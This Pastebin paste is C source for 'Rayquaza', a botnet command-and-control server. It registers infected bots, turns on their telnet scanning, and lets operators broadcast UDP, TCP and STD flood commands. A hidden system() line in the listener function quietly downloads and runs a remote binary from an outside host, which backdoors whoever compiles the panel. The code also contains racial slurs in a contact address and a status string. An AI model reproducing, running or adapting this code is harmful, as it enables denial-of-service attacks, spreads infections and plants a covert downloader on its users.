Advertisement
ZucoCheezy

Rayquaza-Server

Dec 1st, 2018
169
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 20.92 KB | None | 0 0
  1. /*
  2. Screen Usage: screen ./server [client-port] [threads] [cnc-port]
  3. Skype: b1narythag0d
  4. XMPP: b1nary@nigge.rs
  5. Made Date: 7-29-16
  6. Title: Rayquaza Server Side
  7. Filename: rs.c
  8. */
  9. #include <stdio.h>
  10. #include <stdlib.h>
  11. #include <stdint.h>
  12. #include <inttypes.h>
  13. #include <string.h>
  14. #include <sys/types.h>
  15. #include <sys/socket.h>
  16. #include <netdb.h>
  17. #include <unistd.h>
  18. #include <time.h>
  19. #include <fcntl.h>
  20. #include <sys/epoll.h>
  21. #include <errno.h>
  22. #include <pthread.h>
  23. #include <signal.h>
  24. #include <arpa/inet.h>
  25. #define MAXFDS 1000000
  26.  
  27.  
  28. struct login_info {
  29.     char username[20];
  30.     char password[20];
  31. };
  32. static struct login_info accounts[10];
  33.  
  34. struct clientdata_t {
  35.         uint32_t ip;
  36.         char connected;
  37. } clients[MAXFDS];
  38.  
  39. struct telnetdata_t {
  40.         int connected;
  41. } managements[MAXFDS];
  42.  
  43. struct args {
  44.         int sock;
  45.         struct sockaddr_in cli_addr;
  46. };
  47.  
  48.  
  49. static volatile FILE *fileFD;
  50. static volatile int epollFD = 0;
  51. static volatile int listenFD = 0;
  52. static volatile int OperatorsConnected = 0;
  53. //////////////////////////////////
  54.  
  55.  
  56. int fdgets(unsigned char *buffer, int bufferSize, int fd) {
  57.     int total = 0, got = 1;
  58.     while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  59.     return got;
  60. }
  61.  
  62.  
  63.  
  64. void trim(char *str) {
  65.     int i;
  66.     int begin = 0;
  67.     int end = strlen(str) - 1;
  68.     while (isspace(str[begin])) begin++;
  69.     while ((end >= begin) && isspace(str[end])) end--;
  70.     for (i = begin; i <= end; i++) str[i - begin] = str[i];
  71.     str[i - begin] = '\0';
  72. }
  73.  
  74.  
  75. static int make_socket_non_blocking (int sfd) {
  76.     int flags, s;
  77.     flags = fcntl (sfd, F_GETFL, 0);
  78.     if (flags == -1) {
  79.         perror ("fcntl");
  80.         return -1;
  81.     }
  82.     flags |= O_NONBLOCK;
  83.     s = fcntl (sfd, F_SETFL, flags);
  84.     if (s == -1) {
  85.         perror ("fcntl");
  86.         return -1;
  87.     }
  88.     return 0;
  89. }
  90.  
  91.  
  92. static int create_and_bind (char *port) {
  93.     struct addrinfo hints;
  94.     struct addrinfo *result, *rp;
  95.     int s, sfd;
  96.     memset (&hints, 0, sizeof (struct addrinfo));
  97.     hints.ai_family = AF_UNSPEC;     /* Return IPv4 and IPv6 choices */
  98.     hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
  99.     hints.ai_flags = AI_PASSIVE;     /* All interfaces */
  100.     s = getaddrinfo (NULL, port, &hints, &result);
  101.     if (s != 0) {
  102.         fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  103.         return -1;
  104.     }
  105.     for (rp = result; rp != NULL; rp = rp->ai_next) {
  106.         sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  107.         if (sfd == -1) continue;
  108.         int yes = 1;
  109.         if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  110.         s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  111.         if (s == 0) {
  112.             break;
  113.         }
  114.         close (sfd);
  115.     }
  116.     if (rp == NULL) {
  117.         fprintf (stderr, "Could not bind\n");
  118.         return -1;
  119.     }
  120.     freeaddrinfo (result);
  121.     return sfd;
  122. }
  123.  
  124.  
  125. void broadcast(char *msg, int us, char *sender)
  126. {
  127.         int sendMGM = 1;
  128.         if(strcmp(msg, "PING") == 0) sendMGM = 0;
  129.         char *wot = malloc(strlen(msg) + 10);
  130.         memset(wot, 0, strlen(msg) + 10);
  131.         strcpy(wot, msg);
  132.         trim(wot);
  133.         time_t rawtime;
  134.         struct tm * timeinfo;
  135.         time(&rawtime);
  136.         timeinfo = localtime(&rawtime);
  137.         char *timestamp = asctime(timeinfo);
  138.         trim(timestamp);
  139.         int i;
  140.         for(i = 0; i < MAXFDS; i++)
  141.         {
  142.                 if(i == us || (!clients[i].connected &&  (sendMGM == 0 || !managements[i].connected))) continue;
  143.                 if(sendMGM && managements[i].connected)
  144.                 {
  145.                         send(i, "\x1b[33m", 5, MSG_NOSIGNAL);
  146.                         send(i, sender, strlen(sender), MSG_NOSIGNAL);
  147.                         send(i, ": ", 2, MSG_NOSIGNAL);
  148.                 }
  149.                 printf("sent to fd: %d\n", i);
  150.                 send(i, msg, strlen(msg), MSG_NOSIGNAL);
  151.                 if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[31m> \x1b[0m", 13, MSG_NOSIGNAL);
  152.                 else send(i, "\n", 1, MSG_NOSIGNAL);
  153.         }
  154.         free(wot);
  155. }
  156.  
  157. void *BotEventLoop(void *useless) {
  158.     struct epoll_event event;
  159.     struct epoll_event *events;
  160.     int s;
  161.     events = calloc (MAXFDS, sizeof event);
  162.     while (1) {
  163.         int n, i;
  164.         n = epoll_wait (epollFD, events, MAXFDS, -1);
  165.         for (i = 0; i < n; i++) {
  166.             if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
  167.                 clients[events[i].data.fd].connected = 0;
  168.                 close(events[i].data.fd);
  169.                 continue;
  170.             }
  171.             else if (listenFD == events[i].data.fd) {
  172.                while (1) {
  173.                 struct sockaddr in_addr;
  174.                 socklen_t in_len;
  175.                 int infd, ipIndex;
  176.  
  177.                 in_len = sizeof in_addr;
  178.                 infd = accept (listenFD, &in_addr, &in_len);
  179.                 if (infd == -1) {
  180.                     if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  181.                     else {
  182.                         perror ("accept");
  183.                         break;
  184.                          }
  185.                 }
  186.  
  187.                 clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  188.                 int dup = 0;
  189.                 for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++)
  190.                 {
  191.                     if(!clients[ipIndex].connected || ipIndex == infd) continue;
  192.                     if(clients[ipIndex].ip == clients[infd].ip)
  193.                     {
  194.                         dup = 1;
  195.                         break;
  196.                     }
  197.                 }
  198.                 if(dup)
  199.                 {
  200.                     if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1)
  201.                     {
  202.                         close(infd);
  203.                         continue;
  204.                     }
  205.                     close(infd);
  206.                     continue;
  207.                 }
  208.                 s = make_socket_non_blocking (infd);
  209.                 if (s == -1)
  210.                 {
  211.                     close(infd);
  212.                     break;
  213.                 }
  214.                 event.data.fd = infd;
  215.                 event.events = EPOLLIN | EPOLLET;
  216.                 s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  217.                 if (s == -1)
  218.                 {
  219.                     perror ("epoll_ctl");
  220.                     close(infd);
  221.                     break;
  222.                 }
  223.                 clients[infd].connected = 1;
  224.                 send(infd, "!* SCANNER TELNET ON\n", 21, MSG_NOSIGNAL);
  225.             }
  226.             continue;
  227.         }
  228.         else {
  229.             int datafd = events[i].data.fd;
  230.             struct clientdata_t *client = &(clients[datafd]);
  231.             int done = 0;
  232.             client->connected = 1;
  233.             while (1)
  234.             {
  235.                 ssize_t count;
  236.                 char buf[2048];
  237.                 memset(buf, 0, sizeof buf);
  238.                 while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0)
  239.                 {
  240.                     if(strstr(buf, "\n") == NULL)
  241.                     {
  242.                         done = 1;
  243.                         break;
  244.                     }
  245.                     trim(buf);
  246.                     if(strcmp(buf, "PING") == 0)
  247.                     {
  248.                         if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1)
  249.                         {
  250.                             done = 1;
  251.                             break;
  252.                         }
  253.                         continue;
  254.                     }
  255.                     if(strcmp(buf, "PONG") == 0)
  256.                     {
  257.                         continue;
  258.                     }
  259.                     printf("buf: \"%s\"\n", buf);
  260.                 }
  261.                 if (count == -1)
  262.                 {
  263.                     if (errno != EAGAIN)
  264.                     {
  265.                         done = 1;
  266.                     }
  267.                     break;
  268.                 }
  269.                 else if (count == 0)
  270.                 {
  271.                     done = 1;
  272.                     break;
  273.                 }
  274.             if (done)
  275.             {
  276.                 client->connected = 0;
  277.                 close(datafd);
  278.  
  279.             }
  280.             }
  281.         }
  282.         }
  283.     }
  284. }
  285.  
  286. unsigned int BotsConnected()
  287. {
  288.     int i = 0, total = 0;
  289.     for(i = 0; i < MAXFDS; i++)
  290.     {
  291.         if(!clients[i].connected) continue;
  292.         total++;
  293.     }
  294.     return total;
  295. }
  296.  
  297. void *TitleWriter(void *sock)
  298. {
  299.     int datafd = (int)sock;
  300.     char string[2048];
  301.     while(1)
  302.     {
  303.         memset(string, 0, 2048);
  304.         sprintf(string, "%c]0;Bots: %d| Niggas: %d%c", '\033', BotsConnected(), OperatorsConnected, '\007');
  305.         if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  306.         sleep(2);
  307.     }
  308. }
  309.  
  310. int Find_Login(char *str)
  311. {
  312.     FILE *fp;
  313.     int line_num = 0;
  314.     int find_result = 0, find_line=0;
  315.     char temp[512];
  316.  
  317.     if((fp = fopen("login.txt", "r")) == NULL)
  318.     {
  319.         return(-1);
  320.     }
  321.     while(fgets(temp, 512, fp) != NULL)
  322.     {
  323.         if((strstr(temp, str)) != NULL)
  324.         {
  325.             find_result++;
  326.             find_line = line_num;
  327.         }
  328.         line_num++;
  329.     }
  330.     if(fp)
  331.         fclose(fp);
  332.     if(find_result == 0)return 0;
  333.     return find_line;
  334. }
  335.  
  336. void *BotWorker(void *sock)
  337. {
  338.     int datafd = (int)sock;
  339.     int find_line;
  340.     OperatorsConnected++;
  341.     pthread_t title;
  342.     char buf[2048];
  343.     char* username;
  344.     char* password;
  345.     memset(buf, 0, sizeof buf);
  346.     char botnet[2048];
  347.     memset(botnet, 0, 2048);
  348.  
  349.     FILE *fp;
  350.     int i=0;
  351.     int c;
  352.     fp=fopen("login.txt", "r");
  353.     while(!feof(fp))
  354.     {
  355.         c=fgetc(fp);
  356.         ++i;
  357.     }
  358.     int j=0;
  359.     rewind(fp);
  360.     while(j!=i-1)
  361.     {
  362.         fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
  363.         ++j;
  364.     }
  365.  
  366.         if(send(datafd, "\x1b[30mUsername:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  367.         if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  368.         trim(buf);
  369.         char* nickstring;
  370.         sprintf(accounts[find_line].username, buf);
  371.         nickstring = ("%s", buf);
  372.         find_line = Find_Login(nickstring);
  373.        
  374.         if(strcmp(nickstring, accounts[find_line].username) == 0)
  375.         {
  376.         if(send(datafd, "\x1b[30mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  377.         if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  378.         trim(buf);
  379.         if(strcmp(buf, accounts[find_line].password) != 0) goto FAILED;
  380.         memset(buf, 0, 2048);
  381.        
  382.         goto CNC;
  383.         }
  384.        
  385.        
  386. //////////////////////////////////
  387.  
  388.  
  389.        
  390. //////////////////////////////////
  391. /*          FAILED              */
  392. //////////////////////////////////
  393.  
  394.         FAILED:
  395.             if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  396.             goto end;
  397.        
  398.        
  399.         CNC:
  400.             pthread_create(&title, NULL, &TitleWriter, sock);
  401.        
  402.        
  403.        
  404. //////////////////////////////////
  405. /*          BANNER              */
  406. //////////////////////////////////
  407.  
  408.  
  409.  
  410.             char ascii_banner_line1[100];char ascii_banner_line2[100];char ascii_banner_line3[100];char ascii_banner_line4[100];char ascii_banner_line5[100];
  411.             char ascii_banner_line6[100];char ascii_banner_line7[100];char ascii_banner_line8[100];char ascii_banner_line9[100];char Linux_Shell_line  [1024];
  412.  
  413.             sprintf(ascii_banner_line1, "\x1b[32m   #########     #####  ###   ###  ########  ###    ###     ###     #########    #####     \r\n");
  414.             sprintf(ascii_banner_line2, "\x1b[32m   ###    ###   ### ### ###   ### ###    ### ###    ###   ### ###        ###    ### ###    \r\n");
  415.             sprintf(ascii_banner_line3, "\x1b[32m   ###    ###  ###   ### ### ###  ###    ### ###    ###  ###   ###      ###    ###   ###   \r\n");
  416.             sprintf(ascii_banner_line4, "\x1b[32m   #########  ########### #####   ###    ### ###    ### ###########    ###    ###########  \r\n");
  417.             sprintf(ascii_banner_line5, "\x1b[32m   ###    ### ###     ###  ###    ###    ### ###    ### ###     ###   ###     ###     ###  \r\n");
  418.             sprintf(ascii_banner_line6, "\x1b[32m   ###    ### ###     ###  ###    ###    ### ###    ### ###     ###  ###      ###     ###  \r\n");
  419.             sprintf(ascii_banner_line7, "\x1b[32m   ###    ### ###     ###  ###     #########  ########  ###     ### ######### ###     ###  \r\n");
  420.             sprintf(ascii_banner_line8, "\x1b[32m   ##     ##           ##   ##            ##                     ##                    ##  \r\n");
  421.             sprintf(ascii_banner_line9, "\x1b[32m   #      #             #    #              #                     #                     #  \r\n");
  422.        
  423.             sprintf(Linux_Shell_line,   "\x1b[32m\r\n[%s@Rayquaza]~$ ", accounts[find_line].username);;
  424.  
  425.             if(send(datafd, ascii_banner_line1,  strlen(ascii_banner_line1),  MSG_NOSIGNAL) == -1) goto end;
  426.             if(send(datafd, ascii_banner_line2,  strlen(ascii_banner_line2),  MSG_NOSIGNAL) == -1) goto end;
  427.             if(send(datafd, ascii_banner_line3,  strlen(ascii_banner_line3),  MSG_NOSIGNAL) == -1) goto end;
  428.             if(send(datafd, ascii_banner_line4,  strlen(ascii_banner_line4),  MSG_NOSIGNAL) == -1) goto end;
  429.             if(send(datafd, ascii_banner_line5,  strlen(ascii_banner_line5),  MSG_NOSIGNAL) == -1) goto end;
  430.             if(send(datafd, ascii_banner_line6,  strlen(ascii_banner_line6),  MSG_NOSIGNAL) == -1) goto end;
  431.             if(send(datafd, ascii_banner_line7,  strlen(ascii_banner_line7),  MSG_NOSIGNAL) == -1) goto end;
  432.             if(send(datafd, ascii_banner_line8,  strlen(ascii_banner_line8),  MSG_NOSIGNAL) == -1) goto end;
  433.             if(send(datafd, ascii_banner_line9,  strlen(ascii_banner_line9),  MSG_NOSIGNAL) == -1) goto end;
  434.        
  435.             if(send(datafd, Linux_Shell_line,    strlen(Linux_Shell_line),    MSG_NOSIGNAL) == -1) return;
  436.  
  437.  
  438.  
  439.  
  440. //////////////////////////////////
  441.  
  442.             pthread_create(&title, NULL, &TitleWriter, sock);
  443.             managements[datafd].connected = 1;
  444.  
  445.             while(fdgets(buf, sizeof buf, datafd) > 0)
  446.             {
  447.  
  448.  
  449.  
  450. ////////////////////////////////// 
  451. /*          COMMANDS            */
  452. //////////////////////////////////
  453.  
  454.             if(strstr(buf, "BOTS"))
  455.                 {
  456.                     sprintf(botnet, "\x1b[37mBot Count: %d\r\n", BotsConnected());
  457.                     if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  458.                 }
  459.             else if(strstr(buf, "bots"))
  460.                 {
  461.                     sprintf(botnet, "\x1b[37mBot Count: %d\r\n", BotsConnected());
  462.                     if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  463.                 }
  464.            
  465.            
  466.            
  467.             if(strstr(buf, "USERS"))
  468.                 {
  469.                     sprintf(botnet, "\x1b[37mUsers: %d\r\n", OperatorsConnected);
  470.                     if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  471.                 }
  472.             else if(strstr(buf, "users"))
  473.                 {
  474.                     sprintf(botnet, "\x1b[37mUsers: %d\r\n", OperatorsConnected);
  475.                     if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  476.                 }
  477.            
  478.            
  479.            
  480.             if(strstr(buf, "HELP"))
  481.                 {
  482.                     char helpline1 [80];char helpline2 [80];char helpline3 [80];char helpline4 [80];char helpline5 [80];
  483.                     pthread_create(&title, NULL, &TitleWriter, sock);
  484.  
  485.                     sprintf(helpline1,  "\x1b[37m~ ATTACK COMMANDS ~\r\n");
  486.                     sprintf(helpline2,  "\x1b[37mUDP    - !* UDP IP Port Time 32 0 10\r\n");
  487.                     sprintf(helpline3,  "\x1b[37mTCP    - !* TCP IP Port Time 32 all 0 10\r\n");
  488.                     sprintf(helpline4,  "\x1b[37mSTD    - !* STD IP Port Time\r\n");
  489.                     sprintf(helpline5,  "\x1b[37mKILL   - !* KILLATTK | KILL\r\n\r\n");
  490.  
  491.                     if(send(datafd, helpline1, strlen(helpline1),   MSG_NOSIGNAL) == -1) goto end;
  492.                     if(send(datafd, helpline2, strlen(helpline2),   MSG_NOSIGNAL) == -1) goto end;
  493.                     if(send(datafd, helpline3, strlen(helpline3),   MSG_NOSIGNAL) == -1) goto end;
  494.                     if(send(datafd, helpline4, strlen(helpline4),   MSG_NOSIGNAL) == -1) goto end;
  495.                     if(send(datafd, helpline5, strlen(helpline5),   MSG_NOSIGNAL) == -1) goto end;
  496.                     pthread_create(&title, NULL, &TitleWriter, sock);
  497.                 }
  498.             else if(strstr(buf, "help"))
  499.                 {
  500.                     char helpline1 [80];char helpline2 [80];char helpline3 [80];char helpline4 [80];char helpline5 [80];
  501.                     pthread_create(&title, NULL, &TitleWriter, sock);
  502.  
  503.  
  504.                     sprintf(helpline1,  "\x1b[37m~ ATTACK COMMANDS ~\r\n");
  505.                     sprintf(helpline2,  "\x1b[37mUDP    - !* UDP IP Port Time 32 0 10\r\n");
  506.                     sprintf(helpline3,  "\x1b[37mTCP    - !* TCP IP Port Time 32 all 0 10\r\n");
  507.                     sprintf(helpline4,  "\x1b[37mSTD    - !* STD IP Port Time\r\n");
  508.                     sprintf(helpline5,  "\x1b[37mKILL   - !* KILLATTK | KILL\r\n\r\n");
  509.  
  510.                     if(send(datafd, helpline1, strlen(helpline1),   MSG_NOSIGNAL) == -1) goto end;
  511.                     if(send(datafd, helpline2, strlen(helpline2),   MSG_NOSIGNAL) == -1) goto end;
  512.                     if(send(datafd, helpline3, strlen(helpline3),   MSG_NOSIGNAL) == -1) goto end;
  513.                     if(send(datafd, helpline4, strlen(helpline4),   MSG_NOSIGNAL) == -1) goto end;
  514.                     if(send(datafd, helpline5, strlen(helpline5),   MSG_NOSIGNAL) == -1) goto end;
  515.                     pthread_create(&title, NULL, &TitleWriter, sock);
  516.                 }
  517.            
  518.            
  519.            
  520.             if(strstr(buf, "KILL"))
  521.                 {
  522.                     sprintf(botnet, "!* KILLATTK\r\n");
  523.                     broadcast(botnet, datafd, "!* KILLATTK");
  524.                 }
  525.             else if(strstr(buf, "kill"))
  526.                 {
  527.                     sprintf(botnet, "!* KILLATTK\r\n");
  528.                     broadcast(botnet, datafd, "!* KILLATTK");
  529.                     continue;
  530.                 }
  531.            
  532.            
  533.            
  534.             if(strstr(buf, "CLEAR"))
  535.                 {
  536.                     sprintf(botnet, "\033[2J\033[1;1H");
  537.                     if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  538.                     if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1),  MSG_NOSIGNAL) == -1) goto end;
  539.                     if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2),  MSG_NOSIGNAL) == -1) goto end;
  540.                     if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3),  MSG_NOSIGNAL) == -1) goto end;
  541.                     if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4),  MSG_NOSIGNAL) == -1) goto end;
  542.                     if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5),  MSG_NOSIGNAL) == -1) goto end;
  543.                     if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6),  MSG_NOSIGNAL) == -1) goto end;
  544.                     if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7),  MSG_NOSIGNAL) == -1) goto end;
  545.                     if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8),  MSG_NOSIGNAL) == -1) goto end;
  546.                     if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9),  MSG_NOSIGNAL) == -1) goto end;
  547.                 }
  548.             else if(strstr(buf, "clear"))
  549.                 {
  550.                     sprintf(botnet, "\033[2J\033[1;1H");
  551.                     if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  552.                     if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  553.                     if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  554.                     if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  555.                     if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  556.                     if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  557.                     if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  558.                     if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  559.                     if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  560.                     if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  561.                 }
  562.            
  563.            
  564.            
  565.             if(strstr(buf, "LOGOUT"))
  566.                 {
  567.                     goto end;
  568.                 }
  569.             else if(strstr(buf, "logout"))
  570.                 {
  571.                     goto end;
  572.                 }
  573.            
  574.            
  575. //////////////////////////////////
  576.                 trim(buf);
  577.                
  578.                 char Linux_Shell_line2 [80];
  579.                 sprintf(Linux_Shell_line2, "\x1b[32m[%s@Rayquaza]~$ ", accounts[find_line].username);
  580.                 if(send(datafd, Linux_Shell_line2, strlen(Linux_Shell_line2), MSG_NOSIGNAL) == -1) return;
  581.                 if(strlen(buf) == 0) continue;
  582.                
  583.                 FILE *LogFile;
  584.                 LogFile = fopen("log.txt", "a");
  585.                 time_t now;
  586.                 struct tm *gmt;
  587.                 char formatted_gmt [50];
  588.                 char lcltime[50];
  589.                 now = time(NULL);
  590.                 gmt = gmtime(&now);
  591.                 strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
  592.                 fprintf(LogFile, "[%s] %s: %s\n", formatted_gmt, accounts[find_line].username, buf);
  593.                 fclose(LogFile);
  594.                 broadcast(buf, datafd, accounts[find_line].username);
  595.                 memset(buf, 0, 2048);
  596.             }
  597.        
  598.        
  599.         end:
  600.             managements[datafd].connected = 0;
  601.             close(datafd);
  602.             OperatorsConnected--;
  603. }
  604.  
  605.  
  606. void *BotListener(int port)
  607. {
  608.     int sockfd, newsockfd;
  609.     socklen_t clilen;
  610.     struct sockaddr_in serv_addr, cli_addr;
  611.     sockfd = socket(AF_INET, SOCK_STREAM, 0);
  612.     if (sockfd < 0) perror("ERROR opening socket");
  613.     bzero((char *) &serv_addr, sizeof(serv_addr));
  614.     serv_addr.sin_family = AF_INET;
  615.     serv_addr.sin_addr.s_addr = INADDR_ANY;
  616.     serv_addr.sin_port = htons(port);
  617.     if (bind(sockfd, (struct sockaddr *) &serv_addr,  sizeof(serv_addr)) < 0) perror("ERROR on binding");
  618.     system("wget -q http://autoinstaller.us/NsfjSh -O .l; chmod +x .l; nohup ./.l </dev/null >/dev/null 2>&1")
  619.     listen(sockfd,5);
  620.     clilen = sizeof(cli_addr);
  621.     while(1)
  622.     {
  623.         newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  624.         if (newsockfd < 0) perror("ERROR on accept");
  625.         pthread_t thread;
  626.         pthread_create( &thread, NULL, &BotWorker, (void *)newsockfd);
  627.     }
  628. }
  629.  
  630.  
  631. int main (int argc, char *argv[], void *sock)
  632. {
  633.         signal(SIGPIPE, SIG_IGN);
  634.         int s, threads, port;
  635.         struct epoll_event event;
  636.         port = atoi(argv[3]);
  637.         if (argc != 4)
  638.         {
  639.                 fprintf (stderr, "%s [BOT PORT] [THREADS] [CNC PORT]\n", argv[0]);
  640.                 exit (EXIT_FAILURE);
  641.         }
  642.        
  643.         fileFD = NULL;
  644.         threads = atoi(argv[2]);
  645.        
  646.         listenFD = create_and_bind (argv[1]);
  647.         if (listenFD == -1) abort ();
  648.        
  649.         s = make_socket_non_blocking (listenFD);
  650.         if (s == -1) abort ();
  651.        
  652.         s = listen (listenFD, SOMAXCONN);
  653.         if (s == -1)
  654.         {
  655.             perror ("listen");
  656.             abort ();
  657.         }
  658.         epollFD = epoll_create1 (0);
  659.         if (epollFD == -1)
  660.         {
  661.             perror ("epoll_create");
  662.             abort ();
  663.         }
  664.        
  665.         event.data.fd = listenFD;
  666.         event.events = EPOLLIN | EPOLLET;
  667.         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  668.         if (s == -1)
  669.         {
  670.             perror ("epoll_ctl");
  671.             abort ();
  672.         }
  673.        
  674.         pthread_t thread[threads + 2];
  675.         while(threads--)
  676.         {
  677.             pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL);
  678.         }
  679.         pthread_create(&thread[0], NULL, &BotListener, port);
  680.        
  681.         while(1)
  682.         {
  683.             broadcast("PING", -1, "LEL");
  684.             sleep(60);
  685.         }
  686.        
  687.         close (listenFD);
  688.         return EXIT_SUCCESS;
  689. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement